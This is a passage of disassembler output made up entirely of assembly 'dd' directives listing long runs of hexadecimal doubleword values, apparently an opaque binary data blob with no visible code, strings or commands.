		dd 0F3A2F899h, 0CB0416A4h, 7FD09FDDh, 1AF230FDh, 0D6615B35h
		dd 0DA73A08Eh, 232ACBCBh, 220E813Ch, 8D1E2537h,	36A82BF2h
		dd 0F6B8F193h, 8E9FE737h, 0F5CD4278h, 95883EB3h, 97E18EF6h
		dd 475877DEh, 774DC970h, 9C948C11h, 0D6A20CB3h,	1D6F8949h
		dd 0DA369443h, 0A4C6D910h, 0CB87F97Ah, 8F876F12h, 852746ABh
		dd 0D664BD70h, 87B3224h, 0DC66B54Dh, 72FDA8C6h,	0A28708CBh
		dd 8762B71Eh, 8C2BFE45h, 1961872h, 40E1B437h, 0D26307EDh
		dd 0DAE805D2h, 0C480DD85h, 1AD813EAh, 55E4BCD3h, 0EDA482BDh
		dd 15A8B038h, 0F0E5F844h, 77D8698h, 31B6A44Eh, 0FFD6DA23h
		dd 0F9F763A6h, 1E453B3Ah, 9A89EED3h, 89471F31h,	0B0C1C608h
		dd 0ED3AF54Bh, 0C5DED585h, 59C9781Bh, 0ADE600A1h, 8175DE1Ah
		dd 6AE21A29h, 0B5DD557Dh, 0BCAC918Eh, 520A4C3Ah, 68DC6F34h
		dd 3C21A2A1h, 88E4E373h, 0F864E262h, 62EA95F9h,	83A9AF39h
		dd 438F7CACh, 0AF5D92B2h, 995316Dh, 29688C81h, 1D09B289h
		dd 84110A20h, 4C501D56h, 94B38EDCh, 10C9C1D3h, 5268B054h
		dd 5E9CE9B5h, 5C61B997h, 7DB747A2h, 984864F7h, 77842408h
		dd 0DFC1AF07h, 66635C49h, 0C23DAC03h, 2AF6DD40h, 89C7A5C4h
		dd 7497343Eh, 0DCD704EEh, 8DC57786h, 242A7822h,	0FCC36884h
		dd 0FAB63F9Ah, 666776EEh, 0DD4E5665h, 72917DFh,	110CE74h
		dd 55928E67h, 3966009Ah, 4BDCB90Ah, 0D49ED256h,	1DCA2C4Eh
		dd 6F369357h, 0B481DD6Ch, 0B300330Ch, 487A7061h, 0BB56DB09h
		dd 9794E6D1h, 0C56CB8h,	0DFE20C7Bh, 0EF40C886h,	0C66B08Dh
		dd 3397BEACh, 5DBD20CCh, 1B020051h, 59F351C1h, 54A5D0D2h
		dd 2FC3587h, 0F712A63Ah, 0B1762774h, 5536EF92h,	7B8BBA31h
		dd 95D0CE6Fh, 0D101F411h, 0E0A56B9Eh, 0F2130F0Eh, 0C586F847h
		dd 8CF18A42h, 0E3EE350Eh, 38C6E7CAh, 5AC6C20Eh,	0CF349CA4h
		dd 0CFEF20FCh, 0C5B3ECAh, 0C7A11D7Eh, 0C927105Ah, 215B770Fh
		dd 20A6C9ADh, 0F07738A0h, 2801A0BFh, 0D747D2EBh, 0DDB94BADh
		dd 7A1372DAh, 0C1C312h,	0E14C3372h, 0D1D71908h,	490E5DC6h
		dd 3C14EB5Dh, 0EF51A04Ah, 2195A38Ah, 0E993A500h, 0AFBA2CEEh
		dd 0A9A53DA7h, 8E2A9788h, 5C348FE7h, 4F8E5C45h,	8868964Fh
		dd 8F432DB5h, 40C686A5h, 0E64C01ADh, 0FAB62046h, 710BC7A8h
		dd 9E0F784Ah, 9251A9h, 576B716Ah, 3F272247h, 0AEE67BFFh
		dd 0F96FDD80h, 1EDEF258h, 44DB6A4Bh, 8289A7D0h,	84DD31E6h
		dd 0D51DF24Ch, 92394F30h, 7F732E8h, 0CF6BC9FDh,	58FB5E77h
		dd 3E10044h, 0E0FA7B06h, 0E3DB79CFh, 80C41870h,	487952F3h
		dd 62F6E8FCh, 0BB7772Dh, 0A6499A91h, 645CC7A5h,	970D8B3Fh
		dd 0AC2D1631h, 223B8769h, 4F7817EAh, 0FF39B1E3h, 7D983EBAh
		dd 0FC66B3FCh, 9261AAD9h, 0AF864D77h, 0FCF7ADEFh, 30460E19h
		dd 4F6BAB27h, 7F06EDA1h, 52FDD6D5h, 711D3355h, 4F9F490Fh
		dd 0AD801205h, 0B4830376h, 0D61B671h, 0E111B1A7h, 2DBB5006h
		dd 4A7877F6h, 278A8D41h, 0C197B885h, 706C244Bh,	0F759DA05h
		dd 87DDA1F9h, 4BE1CF9Fh, 8923340Dh, 10C1337Fh, 27D929D0h
		dd 5277F4A1h, 1CC26BFBh, 0C915C674h, 37E03D93h,	5524DE83h
		dd 0E8C3EC1h, 7D33FDEh,	788C726Ah, 0A3AC2441h, 0CE81DDCEh
		dd 22209FD0h, 76C6FC4Ch, 0DBAE496Ch, 0C5DB8C8Bh, 802B6D93h
		dd 4C8F4325h, 6D7AA0EEh, 0B257C2ADh, 0AF64D4BAh, 970368D7h
		dd 6218711Bh, 0D041AF2Dh, 0C28B6DF6h, 0B747AD4Ah, 3D48D4E0h
		dd 374B74DBh, 7CE9245h,	1E93E5A9h, 6465FF95h, 0AECBB8C3h
		dd 0F56B9987h, 992613Fh
		dd 0DCE8D883h, 0A8E81DFCh, 0B2DE1BECh, 9F6DCA81h, 0F76D4532h
		dd 0A69D44FFh, 8608C084h, 0B756170Bh, 9D4CCAE7h, 0B175ED2Fh
		dd 0DBAF4BBEh, 9E3BE99Eh, 0BEB0E322h, 9AA73646h, 0E22FDCD8h
		dd 395C83D8h, 0C16C2C56h, 0E0742944h, 0DC07D2A9h, 0C799651Bh
		dd 44F5F729h, 2F9A51F7h, 7FB62A7Fh, 0D33170C2h,	29D6ABFCh
		dd 3483F06Dh, 4E10BB24h, 0C71B4382h, 7801D537h,	0B153E048h
		dd 111BBAF8h, 0B29D9F7Eh, 35E07360h, 71672EB5h,	3E9EF1Dh
		dd 1AC85F84h, 721E87E1h, 0FB8C8569h, 8714A0C9h,	0C440A483h
		dd 78774EB7h, 326B82D6h, 0F074925Fh, 973FB44Eh,	526070F0h
		dd 0FDB8A622h, 7A599C27h, 582285ABh, 1D995375h,	8E2C85A5h
		dd 6A9B164Fh, 0AA3E6E04h, 0FC716717h, 0C5861357h, 8D1B023Bh
		dd 5807BFB6h, 0A0F2863Ch, 683FB17Eh, 0CCCF352Ah, 0B5CA9CB7h
		dd 264F1C51h, 0D9C1D82h, 3C0B9FDCh, 52D3669Bh, 9309D180h
		dd 327C7AC6h, 205BDBB8h, 622603CBh, 95FB3039h, 935B4618h
		dd 135CD1F7h, 25191019h, 6A312C7Ah, 9F670638h, 8433593Ah
		dd 0A485FA8Dh, 6BA3EB47h, 0B9B8E153h, 0D2097098h, 655563B1h
		dd 24C3E42h, 7C5DB40Ch,	7A696494h, 0FF5BB29Eh, 0CBF04FDCh
		dd 0C5F7EB6Bh, 37D8CC95h, 1D1BDCC1h, 0D69DEF4Ch, 69EF89ADh
		dd 4F42DDB2h, 649AA226h, 84D4F42Eh, 0D571E8E1h,	1D2A3655h
		dd 0C40522A3h, 0E40C10DFh, 7C65D2E4h, 445F08ECh, 0DF27249Eh
		dd 24ADFF25h, 8B32FF11h, 29432C6h, 79A964F6h, 0F08A8DFAh
		dd 380B8A3Eh, 8232B253h, 0E54129A9h, 7E93F7Eh, 0C5354707h
		dd 8EA9DB09h, 42AFD762h, 0A1B8BB7Eh, 238CF0B6h,	7CD557DDh
		dd 556F385h, 2ABC6A0Bh,	122E7267h, 43956421h, 0B0CEE7C9h
		dd 7DA4AAABh, 1D021D54h, 70C4106Ch, 7199C732h, 0C87D0F08h
		dd 0BDA837EBh, 51DE2DACh, 8CCAF8EEh, 5082A8DAh,	0F2CD886Ch
		dd 0F9F25015h, 0C1DE3EB0h, 5CA3E797h, 8418BBC1h, 6EAC4FAFh
		dd 3CF01BE1h, 0F7D6263Ch, 0EB1F5555h, 74BEA484h, 1C1FA05Dh
		dd 0B09E135h, 530A6765h, 791EAA39h, 0D9A6D15Ch,	51880894h
		dd 0F4B3A782h, 0DD71B39Fh, 1F72EF66h, 55EFF719h, 0F54574B0h
		dd 28213DE7h, 0E955F1A8h, 0FAF03E0Bh, 26CAEAFBh, 0C7A262A3h
		dd 2C5759B2h, 0AC0D966Eh, 509DF824h, 98BE0058h,	1D1C832h
		dd 1DD7F187h, 0B6473E6h, 70B2D81Dh, 24F78E5Ah, 0BBFCF09h
		dd 0F79D8BDBh, 2611F199h, 0BC1D0462h, 41B23B2Ah, 63AF2A9Eh
		dd 0D2D7B97h, 173B7D0Ah, 9D23466Bh, 0A13914C2h,	7EF96C54h
		dd 1D70F9B9h, 9F2AF265h, 34E21D6Bh, 1056360h, 0FC849528h
		dd 73CDCF45h, 40E4477Dh, 67D8B0EBh, 0E67BAF96h,	4E48CDC1h
		dd 0DBDDDB24h, 274FEC45h, 0D44D7C7Dh, 8BEC7C67h, 7D97DD1Ah
		dd 0F5CFCF18h, 0B1B43006h, 97C01CD6h, 0FB0C6A5Fh, 630E607Fh
		dd 9B85FC08h, 0D97988E8h, 33385D3Bh, 0DA33705h,	0CCCFF303h
		dd 0CF9B5D3Ch, 0E2CDBA83h, 941E8B21h, 825F7D55h, 0D7534E9Ah
		dd 430CEB14h, 201B669Bh, 111F06B3h, 255E408Bh, 332A1331h
		dd 4A9D7D37h, 93D62010h, 93B77858h, 0CBF53C0Fh,	5B941137h
		dd 0C50B397h, 7ECC6AF9h, 0BDDE3C17h, 0A3F356ACh, 0B40EDCADh
		dd 0D529BA18h, 1CBAA5C1h, 30043A87h, 341ECD9Dh,	0D94DDB35h
		dd 7B5E0B5Ah, 2ADD7C46h, 27BD0474h, 4202732h, 98B0F0D1h
		dd 4BC84394h, 0FB3650FCh, 5382BAF5h, 7E777F66h,	16A60CCBh
		dd 5D874782h, 0F29F9FA0h, 5C526418h, 0A9413429h, 4F62ACFAh
		dd 7655D026h, 54E8A82Ch, 0EB3C1041h, 2025523h, 0BA180C4Dh
		dd 37CEC77Fh, 6D394534h, 90121AA8h, 0E928CF9Fh,	5166303Dh
		dd 6177E261h, 66700898h, 0E2FAEFD3h, 43834775h,	0AA7F250Dh
		dd 0E917AD7Bh, 3DDE9FFFh, 7CD0B51Ah, 7D039985h,	1F2CDA5h
		dd 6CEC2F8Ch, 0F793FCD7h, 0D9DAC653h, 2F254B4Fh, 0CB4A1351h
		dd 94ABA85Ah, 220F57B1h, 8592B282h, 2FCE9A79h, 67749911h
		dd 0E4A4B895h, 928E6654h, 0AFBEEFECh, 357E47A2h, 0D2076A0Bh
		dd 9C66405h, 68D76C4Dh,	0CAF5BE76h, 9303CE69h, 40B843CAh
		dd 0CE304Ch, 0DA44814Bh, 0D21383D3h, 4B692E78h,	91D0BFA6h
		dd 28B3B4FBh, 0A3AD269Dh, 1EF85C50h, 0FF082871h, 2FA869C0h
		dd 82D0FE6h, 0BDF8E3B4h, 72BE0DF5h, 49B4ADB3h, 995A9ECEh
		dd 0E681F09Eh, 1CD5F086h, 0C8713102h, 0B196782Dh, 0F865359Bh
		dd 0E3249F72h, 7BBACA24h, 44041062h, 0FCFCB510h, 409B3411h
		dd 25BC8E11h, 0F18ED562h, 0C0EACA93h, 690D303Bh, 0AACC69D4h
		dd 3F36FBD5h, 643C9090h, 0A567407Bh, 0E85261D3h, 5C49BF17h
		dd 0E54B778Ah, 0BFC38A02h, 0F20DAC60h, 0FC5270A7h, 673E72A9h
		dd 0D59FF89Eh, 2CC97909h, 4E1F633Fh, 7D4891CFh,	0EFE136F1h
		dd 0FCD64D6Bh, 81D5B54Ch, 0B001BCE5h, 9CF5A354h, 81855BF2h
		dd 9DD5ADA8h, 41EBE7C6h, 136EC0CBh, 3722F9C3h, 2E27BC54h
		dd 3FAF71AAh, 0A76E0D82h, 84A5B6F4h, 0A1397728h, 7683DBDEh
		dd 0DECA9383h, 0EE1839CCh, 848A6Eh, 2F6A9A73h, 0EAE79A38h
		dd 0AC201A9Dh, 1E69FFFh, 90E01B1Ah, 57077C4Eh, 0A0E6ED4Fh
		dd 0F1E4FB37h, 8614F565h, 0D05801DBh, 0B0CE58C3h, 99C877B2h
		dd 0E7824EA0h, 63FE22CDh, 0A0E6D4FAh, 73C4819Dh, 0B2A13865h
		dd 9203C3C7h, 0AE853E7h, 7A53E002h, 0E7E211FAh,	618179EBh
		dd 6B441983h, 7CBE1BC5h, 835BB16Ah, 7B07472Bh, 10DCC5A4h
		dd 3D8AAEF7h, 0D0A8C24Bh, 0D8811F49h, 0CCAFC0h,	36D43C2Eh
		dd 26FBB64h, 5C5CB78Ch,	23845CD0h, 268D674Ch, 0D4BDAB3h
		dd 0D7EFFE44h, 0F7F40E32h, 463185D9h, 0D841BA31h, 4CF57C50h
		dd 0D29B0FAEh, 0CE785DE0h, 101EE5E5h, 3ED49D92h, 7275DF75h
		dd 0EA1608B5h, 2B78C281h, 4E5E0651h, 0CD848F12h, 3F95022Eh
		dd 0F6E1A2CFh, 41FF01A4h, 72AC7339h, 957A8502h,	0DAA65AA3h
		dd 0FD0B36FEh, 103983EDh, 0A19A24CAh, 1CFB2A1Fh, 68074D3Bh
		dd 0CB80E48Dh, 20998225h, 0A123E7E6h, 0C825270Ch, 97659ACCh
		dd 0BC3771AAh, 4436A821h, 0D60DD7DAh, 50B182C3h, 8EB930B2h
		dd 658B3DDh, 2C8048F2h,	0E5FB449Ch, 0BC427923h,	0EB909B64h
		dd 2EDB0D63h, 8BE172FCh, 0E4D6361Bh, 45B38054h,	0DDAE616Bh
		dd 0C29EB2C4h, 2A3FC06h, 76EDAEE7h, 0D2F5809Ah,	6EC58484h
		dd 0F2E1C9A5h, 8E5C5CECh, 505E355Fh, 0F9F6C036h, 60C55334h
		dd 43317588h, 0F61C38B3h, 4CF13ACAh, 0F05B3537h, 48E3FBEEh
		dd 0E19B0033h, 20A04E9Fh, 6A0D98C4h, 0BF448C29h, 93B6CBE0h
		dd 0DD8245AFh, 80CFF803h, 19F29691h, 6DC8F310h,	9DF17C44h
		dd 6DAC2CC0h, 0ECB7BDE7h, 5D4AA91Ch, 0BA314184h, 45F0E384h
		dd 0A6B67A1h, 0E6C9BD7Bh, 5D8AE8ECh, 78CE7275h,	86F4C206h
		dd 46A2C756h, 99F7061h,	8B20EB72h, 567CC150h, 0C4744ECFh
		dd 0A654E9D1h, 0F6F8A713h, 0B0613820h, 2AA64F90h, 0D3B2D9C7h
		dd 8201554Ah, 0BC3D2AF6h, 8C475E0h, 36BC9535h, 6A942EBEh
		dd 0CD0E6C4Ah, 0B13A6F73h, 7F731B9Dh, 327B2CBCh, 0C518AAB9h
		dd 16E882A8h, 0D9DB2B57h, 0FE9EB398h, 0C5122118h, 0E0BC30C6h
		dd 74DE75D4h, 7E0441ABh, 19073996h, 6C41DD60h, 1EE261D8h
		dd 803ACA7Bh, 47B8F2F6h, 17E23C78h, 0CF4F1021h,	9ED39418h
		dd 35F9D647h, 9C71F517h, 567CB062h, 5C8F46BEh, 0E1A8718Ah
		dd 0B6E8A3AFh, 0B2D217F3h, 76EFB481h, 6838F813h, 65549F60h
		dd 8300420Ah, 93F261BEh, 0F86DC39h, 0FCC6DC58h,	9E0F4FACh
		dd 0DB275B56h, 2AEB0B16h
		dd 0FB3C37B8h, 1E2C7066h, 6DE9994Dh, 90B4187Ch,	7F31BA09h
		dd 3599A375h, 0A3766BEEh, 0C10D1DC3h, 0BA38FCE7h, 2A597Eh
		dd 3071EF1Ch, 99834F6Fh, 16A726E7h, 6BD87BB6h, 3C37731Ah
		dd 0AE8E3591h, 0A9F867B7h, 2F5FF14h, 0AB9A5997h, 1108C9CAh
		dd 506AB31h, 40F7FBDCh,	9E3DD684h, 0B804B85h, 8131A9A0h
		dd 75779118h, 0B63D5B71h, 3F49D0B4h, 9DDD0D6Dh,	0A84F3A60h
		dd 4CE40AD8h, 7C3707F3h, 68C732BDh, 0BC445E6Ah,	2C2C7638h
		dd 5E2FF495h, 0B17A15FDh, 97AD629Fh, 88427078h,	32D44E1h
		dd 81788A32h, 5A2227F4h, 0A99CC842h, 0EE409D1Bh, 0C925C762h
		dd 4C56E55Dh, 0DE503AF4h, 165CFD5Eh, 0C41C6F7h,	34863527h
		dd 0ED7B2AAAh, 0E109199Ch, 4EC5238Eh, 94711C50h, 0A042911Fh
		dd 0A81D131h, 8630CA9Ch, 9B0429F0h, 0E7007CEBh,	0D9D7F275h
		dd 90CBB1C9h, 0C63D1F3Eh, 0DA71D44Dh, 1E14D088h, 0B2119542h
		dd 0F47402CBh, 70063211h, 68FD9C67h, 86FF7121h,	0BD80D96Ah
		dd 0BA8723BBh, 9C212FFFh, 0E1FCFB91h, 7FEF0852h, 6D3CD625h
		dd 9EB4C2EBh, 0C1361311h, 1E1C4878h, 42AD650Bh,	5A6ABF05h
		dd 5630EA8Eh, 2315431Eh, 0B5BD26D7h, 0F3B854B2h, 62615911h
		dd 0D3AA181Fh, 71FEC1BEh, 78DD6A1Bh, 885C415Bh,	334D34Dh
		dd 3D36F165h, 5DBB6FC8h, 3E30E3F5h, 3C572053h, 0E635057h
		dd 0C839C7EDh, 0B52DBD1Bh, 80A70D43h, 387E805Bh, 3770CB24h
		dd 0D22EA572h, 43CE97F5h, 77C5CAE8h, 4FCD5306h,	0AEB0C6B4h
		dd 3294EF57h, 0B98F6A32h, 35902A8Bh, 63654539h,	1EF44A31h
		dd 0C5E3A390h, 48417E0Ch, 52971AD7h, 0F58F969Dh, 16ABC62Dh
		dd 5AD99D90h, 0ED78B074h, 6D8C7D5Dh, 43C148EFh,	62DFD281h
		dd 5D123A70h, 62781647h, 0A832CB8Ch, 9CC10BF6h,	0BBF2759Ch
		dd 0E4DEF95Bh, 644F5109h, 2D6BFDBFh, 2C88C570h,	26463A75h
		dd 0FE2DDA11h, 6C7CFBA8h, 0BB6E13B9h, 33EF5E75h, 0E583EBC7h
		dd 687B874Bh, 75DAF5E3h, 7BA7FDBCh, 4211561Eh, 0EF4B2931h
		dd 9BF9A741h, 0F7DF4BC2h, 91FF5922h, 973AA78Bh,	0EB299414h
		dd 0B6FA86A5h, 1BE2FD2Fh, 8C128BB1h, 65EC65D1h,	0EB9DF537h
		dd 0EF38890h, 3EC2B48Dh, 0A3D77286h, 0B848D4Dh,	0EF4F8B01h
		dd 0A73A41B2h, 55D78B6h, 187992A3h, 868E6F0Dh, 0FBB25F1Ah
		dd 5296947Fh, 0BF2533AEh, 0E779143Dh, 72FCC9F3h, 9D80295Fh
		dd 0B5D8545Dh, 0E1AFA573h, 0E25DB929h, 0E0EC801Ah, 3DA919DFh
		dd 0FCECA1A1h, 84F498F7h, 2EF8024Fh, 0FBEEA412h, 5C96B2E2h
		dd 0AA7CA87Eh, 0CB84600Ah, 102D57C1h, 6D2BC729h, 65DEB962h
		dd 98F7D5DEh, 3EE8B49Dh, 5A83AF0Dh, 2B7C057Ah, 9081CF35h
		dd 0BCEA7BBFh, 9AC89A5h, 604AA745h, 15F85303h, 0F8EFC950h
		dd 0CC3ABCC6h, 0A260437Bh, 48F2D72Fh, 8C1E7246h, 5CCA2398h
		dd 0AE584E69h, 14F9F3B5h, 1F6F4A5Fh, 78BFF0E8h,	1D061986h
		dd 0DD923B4Ch, 13AE1ED5h, 69FCD2B0h, 0D3207588h, 264EB71Ah
		dd 5982BB36h, 0EB4AE4C7h, 8C89B471h, 5B2B50D5h,	0A1BA8A1Ah
		dd 0EDA9DF2Ch, 0F0CB7F6Ah, 3C000DA1h, 0F1F04A9Bh, 0EBA873B9h
		dd 5CCCBFF8h, 0D2D8CB8Dh, 0DF21097Ch, 8BD14A98h, 15F29E4Eh
		dd 0DBBBAB1Ch, 5C74FBE9h, 13232B32h, 0F80496D9h, 0DB553F06h
		dd 59BDDCB6h, 50362B70h, 641C721Fh, 0FFCB118Bh,	8E528AD8h
		dd 14A2DA21h, 0BD63585Dh, 2D8A07ECh, 297E536Dh,	569FABE2h
		dd 0D42AB54Bh, 5FB8FA9Fh, 445306ACh, 6671B6F2h,	0E7BDCE14h
		dd 607BAD08h, 4F6AD639h, 46DFDD16h, 0A3C8A915h,	11E72F6Bh
		dd 0CCDD75A5h, 0A72CBBDCh, 8DCD65FCh, 0C05EB94Dh, 0AEE04DF4h
		dd 16E12079h, 0E40839DBh, 0BB8AF8C8h, 0B98D22Fh, 2370C5D1h
		dd 1C5CE13Dh, 9E2F5CA5h, 0B221CDE0h, 6D8CF7D2h,	36CE3BF5h
		dd 0B4F3BBC0h, 4E62D566h, 0BF3DFEC7h, 7A8D0C91h, 761A0DADh
		dd 0A9D574A4h, 91459463h, 76067A2Ah, 0C24B7489h, 0A06A49FEh
		dd 344FFADAh, 0DEE85D6h, 0D11DD6FBh, 6C4AB86Ah,	5A06169Ch
		dd 24DA980Ch, 0F836B7C2h, 2B2F9B27h, 6EBCD7C5h,	3BAFDCC5h
		dd 0CFFB8CB4h, 0D710B6DAh, 1D4ADA60h, 0CBAB5DEDh, 0FBFA851h
		dd 6DB70042h, 8C6C6BD6h, 0C2364F75h, 54B28782h,	901F69D0h
		dd 0D08A2B58h, 66814923h, 0A4700B82h, 0F7A83A5Eh, 0DFF5E343h
		dd 0CA356BD6h, 526BB77Bh, 0A0ED60C7h, 0F58D396Dh, 0A62F0EC7h
		dd 380F3DEBh, 474E86ECh, 0C8F4174Bh, 1C36C5CEh,	6F5F1105h
		dd 6EFC4622h, 0F39943E7h, 3CD375B6h, 8269F2D7h,	566B335Eh
		dd 6A799605h, 4CA01313h, 0A509FCA6h, 3719AC41h,	83526F8h
		dd 2100878Dh, 147D4A3Bh, 77224316h, 0FDD13835h,	0F835D2Ah
		dd 9A7B8ED1h, 47D3CBFBh, 0DA3187E5h, 47A7980h, 6D528EDFh
		dd 8412700Ch, 3D06EFEEh, 689200C0h, 8E1CBD9h, 0C3B88402h
		dd 323FFC36h, 0E1D17C4Fh, 5205CA44h, 2E18F829h,	0C9400D5Bh
		dd 82B00B41h, 242CAEEDh, 2E026225h, 54ED81A9h, 0BFFE8F57h
		dd 21FD3378h, 7F4C084Ah, 8ADD6AF9h, 34171C74h, 4F5AB2B2h
		dd 0DE0A0A19h, 88F9D3A2h, 84BFFEDEh, 0F9844D16h, 0CD10ABCEh
		dd 0BAB9B903h, 0F8331D62h, 8336518Fh, 23C23558h, 343E08F1h
		dd 804FF4A0h, 790540CDh, 3CA9633Ah, 89F9A87Fh, 7B169EA4h
		dd 5C4CD0E9h, 35393C72h, 0BF594F49h, 4275D431h,	5789A81Bh
		dd 0AB901CC9h, 0BFA4AECh, 7AE26F5Ah, 2F07EDD7h,	75DAF39Ah
		dd 83BF59EAh, 0BAEF8ECEh, 7FA1C0DAh, 57D0E8B0h,	6AD2ED28h
		dd 54CBE9C5h, 0F291ECFAh, 0D70BD58h, 2B594A7Dh,	1C7DBCB1h
		dd 0F2B1E31Dh, 6D3AE7CEh, 30254EDBh, 5E6E677Fh,	7A23351Eh
		dd 559D5606h, 5A8DC3D9h, 0B4668AD0h, 2E448070h,	1E23577Ah
		dd 0A3447F58h, 0A1540EA8h, 478BBE65h, 74422451h, 79111D26h
		dd 0E882397Ah, 996D93E5h, 7068F49Ch, 5ABCD322h,	82812BE1h
		dd 74E5EE2Fh, 30CAC256h, 0EFE9FDF1h, 638F9856h,	46025506h
		dd 0F2E99A4Ah, 561E7Ah,	0BC7044D4h, 0DF625A55h,	0AB9F73C7h
		dd 6F4C616Bh, 0F82AE20Fh, 70A08615h, 0A0D66902h, 0FB76F087h
		dd 0EE6F5AC4h, 0B79932A2h, 977E8E43h, 672D7721h, 7F579E31h
		dd 0CFFDE7E7h, 3C53357Ch, 0EB839C8Ch, 0C6C0511Eh, 989DF6DEh
		dd 27C322E0h, 0EFE78F14h, 1AF3CC67h, 0BDD61AF8h, 0B76F1EF3h
		dd 7D3E69B0h, 2A142245h, 0A4997493h, 0BBD1CF42h, 0ABC3DB85h
		dd 4C04F4F9h, 0A81BAD2Ch, 0C8B6631Dh, 66717E31h, 0B28F31Fh
		dd 7E84B373h, 2F70259Ah, 3E278C30h, 0C73864E5h,	5244D202h
		dd 0BA5D0387h, 3E4AA8ABh, 908337A7h, 0BA4559F0h, 0B229A0CDh
		dd 0B146A4AAh, 5A57278Ch, 3D8BB75Fh, 0AC76768Bh, 0F2E030BEh
		dd 916AE770h, 0D194D168h, 0B108BBEBh, 0C2F009CBh, 0BAD32529h
		dd 6DAED71Bh, 4EE7EABAh, 51182741h, 340D8387h, 76DF0E1Dh
		dd 0E02EC973h, 6FD135B0h, 624767DEh, 0E799CA5Fh, 0D1CC3895h
		dd 83B8B38Dh, 695AF2D4h, 3DDDD578h, 0E116FC23h,	0FC518FBAh
		dd 0B861E15Dh, 0E0A7A3F1h, 0D8C3A6Ch, 9125EBACh, 0E55F68E1h
		dd 3BE0DB6Dh, 0D482FE0Bh, 0AC4F9C34h, 0F3454AFCh, 37866D06h
		dd 63A027D3h, 1208635Eh, 0BE66BEFAh, 8CC37E93h,	16B2CAB7h
		dd 0D470653h, 85FA60Bh,	284B1DD0h, 3FCB2804h, 6AC9B5C7h
		dd 0D892957Ch, 3D3530E6h, 5F5285ACh, 6DB52B1h, 28492705h
		dd 0E4A12460h, 0AE00494Fh, 7B37BD84h, 7786F1D3h, 7201C3Ah
		dd 0A716CACAh, 8B998299h, 4F592E6Dh, 0D42743C2h, 0CAC68DA5h
		dd 7856A6D1h, 37BBD576h
		dd 0C8C56E88h, 12D7F41Ch, 7E7F3B14h, 7C24252Fh,	0A0E00F33h
		dd 90EED7D0h, 31614B83h, 0C22416B8h, 128B9504h,	0B45587F7h
		dd 3039C4C9h, 0D780946Dh, 3EAA7368h, 44B478F7h,	199D50C5h
		dd 1BF49EDEh, 0F0DC78A6h, 0E9A8AA8Fh, 82C257B2h, 2F16A841h
		dd 44506930h, 0B38D7A8Ch, 0C6944C76h, 0A273B0F8h, 6AFCA856h
		dd 73565065h, 2EA7E2B6h, 8ADC77CCh, 0D45C0911h,	0D552226h
		dd 0FDD6C9FCh, 0C3BB2941h, 6D2E1EAh, 0D38BC6A0h, 0CE0031FFh
		dd 24660255h, 57974776h, 5D30970Dh, 8B31ECACh, 44013912h
		dd 44260908h, 0B71C654Fh, 4DB44A21h, 0BE5E69A5h, 0B27FDD0Fh
		dd 1014C50h, 40C781CFh,	15DF65Dh, 0B6D11A57h, 8C0FA599h
		dd 496E69E5h, 1AA8530Dh, 5E917936h, 0FBC83E11h,	28B4AF3Ah
		dd 46FD1910h, 2F9A6BBCh, 4A511BA1h, 9345FC16h, 12CF9912h
		dd 0DD48B8DBh, 0FFE2AE2Eh, 8EFFE3CAh, 3039499Fh, 0BA8AFD4Ch
		dd 0F55D4681h, 60EAE165h, 225E017Eh, 0D9C26251h, 6333FAA5h
		dd 8EADC664h, 70A1F942h, 4CF4D064h, 0B1F750E9h,	3F874764h
		dd 4191BB97h, 67CB5607h, 0F8DB974Bh, 0EEF3B14Bh, 74340333h
		dd 0B691CC8Ah, 10E6B000h, 370D4DBEh, 28A9DFFDh,	7D460F45h
		dd 430CBA24h, 0B6A3ECB3h, 0DD0F3F2Fh, 0FFCE22F4h, 0F6A1D117h
		dd 186BEF09h, 49302E33h, 24471E57h, 718DBD5Ah, 12F17E85h
		dd 0DDD1F3B7h, 9326F307h, 3A2C0E4Ch, 0B61C5D84h, 0A563EF1Fh
		dd 4D1523ADh, 0AC915F2Fh, 0C19D4A04h, 0F12AD0CBh, 5C27D16Fh
		dd 4E6FBA77h, 980214E8h, 5EC8D19Dh, 427CB50Eh, 0E699DDF1h
		dd 9CEDB32Eh, 84D12B5Eh, 2B7AB23h, 5C07E671h, 62428F23h
		dd 0A13D970Dh, 0A661FBEFh, 0E5164DADh, 112A2F79h, 267E5309h
		dd 0AC0AC310h, 0C01AAA66h, 55940AC9h, 11BFB2D8h, 0F5046264h
		dd 1A6F0A5Fh, 0E90CC4DAh, 8DAC1C81h, 0D17509A5h, 80AB018Ah
		dd 5FB15D17h, 33D50BCDh, 33BA582Bh, 2DAE2E49h, 258E583Dh
		dd 0D66C1445h, 0B709573Eh, 25A80BC0h, 0CA5591ABh, 0AD8D0375h
		dd 0D3DADFDh, 82909CAFh, 0B6BD8965h, 72610373h,	2743B63Dh
		dd 81C4CB8Fh, 7E80F032h, 0D3D4CD6Eh, 69B997B4h,	0E9AB4D1Bh
		dd 49C5586Ah, 632B7ED0h, 7728887Dh, 37325CD4h, 4AE41634h
		dd 321D0207h, 8879823Ch, 0B7A470F6h, 4456E4h, 1DF601A0h
		dd 0D3355CDCh, 1CF3B028h, 4BAE522Ah, 244A0F0Ah,	44D9105Dh
		dd 0DF7A8CDEh, 9D08321Dh, 0C2B8293Ch, 7060F3E9h, 5BE3B4CFh
		dd 2A701197h, 554797FCh, 0ED143045h, 317AF9B7h,	2D722285h
		dd 0A9A209B4h, 0C1BAB1D4h, 9A414F2Ah, 0DCF9D910h, 0B8195FF7h
		dd 0C5DA0E4Eh, 6221DA77h, 0E5428806h, 56736EE4h, 0D95BBFDEh
		dd 62A84A1Dh, 60F2F6Bh,	6642FF7h, 150623EEh, 41B96B01h
		dd 0A5163C19h, 0BE0601C8h, 0ECEB9B1Eh, 3D4159C6h, 0A296FF71h
		dd 0D655C6EFh, 0D3C566ECh, 4E2F1D9Bh, 0D9733059h, 6C5BA877h
		dd 5F6E52AFh, 0EFA73D2Eh, 1FAC9E93h, 0DA471DA3h, 237B93F8h
		dd 0D67C3220h, 438FF26Ch, 0BFDE8667h, 0C4C07320h, 45D2147Bh
		dd 0DC22CC44h, 88CD9AD1h, 24D144F0h, 0F0286C9Dh, 566E08Dh
		dd 0EAE7B85h, 0E6AE4CE1h, 103A476Eh, 430275Bh, 0D05DFC0Ah
		dd 0F33190B2h, 14A33B57h, 476D3824h, 6FD91E11h,	0A565B452h
		dd 51149254h, 3F9EDB70h, 0BBE3FDBFh, 0D24F514Ch, 6E7E4F9Eh
		dd 546D7368h, 445A1CA1h, 0D22FD0C1h, 8D4215DAh,	1BAD99A0h
		dd 156C581Bh, 7F9D98B5h, 1F632672h, 86850FFFh, 90ED662Bh
